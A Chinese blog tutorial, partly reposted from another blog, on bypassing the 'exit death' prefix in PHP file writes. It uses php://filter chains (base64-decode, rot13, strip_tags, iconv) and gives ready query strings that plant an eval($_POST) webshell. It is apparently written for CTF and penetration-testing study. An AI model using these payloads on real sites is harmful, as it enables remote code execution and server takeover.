文件包含之exit死亡绕过

<?php
$content = '<?php exit(); ?>' . $_POST['data'];
file_put_contents($file, $content);
include($file);
?>

攻击载荷: data=php://filter/write=convert.iconv.UCS-4*.UCS-

4LE*/resource=shell.php

POST: 经过UCS-4编码的webshell

例如:

破坏 <?php exit(); ?>
$original = "<?php exit(); ?>";
经过:UTF-8 → UTF-16 → UTF-8
$chain = "convert.iconv.UTF-8.UTF-16|convert.iconv.UTF-16.UTF-8";
结果:字节被破坏,但我们的payload存活

二、原文链接:https://blog.csdn.net/woshilnp/article/details/117266628(吊爆了)

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)那么这种情况下,如何绕过这个“死亡exit”?

思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以了。

这里的$_POST['filename']是可以控制协议的.

(1)base64绕过

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符。这样前边的phpexit加上另一个字符就会被base64解码,然后后边的我们精心构造的base64字符串也会被成功解码为php代码。

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

成功写入:

(2)rot13绕过(这个方法的前提条件就是不开启短标签)

<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>在PHP不开启short_open_tag时php不认识这个字符串当然也就不会执行了

一、写入木马

?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG[n]);

写入

<?cuc rkvg();<?php eval($_POST[a]);

二、写入phpinfo()

?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc cucvasb();
写入:
<?cuc rkvg; ?><?php phpinfo(); ?>

(3)string.strip_tags

strip_tags— 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()一样的机制去除标记。

1、webshell用base64编码 //为了避免strip_tags的影响

2、调用string.strip_tags //这一步将去除<?php exit; ?>

3、调用convert.base64-decode //这一步将还原base64编码的webshell

?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

写入:

<?php eval($_POST[a]);

posted @ 2026-06-18 13:00  Doll_Marker  阅读(7)  评论(0)    收藏  举报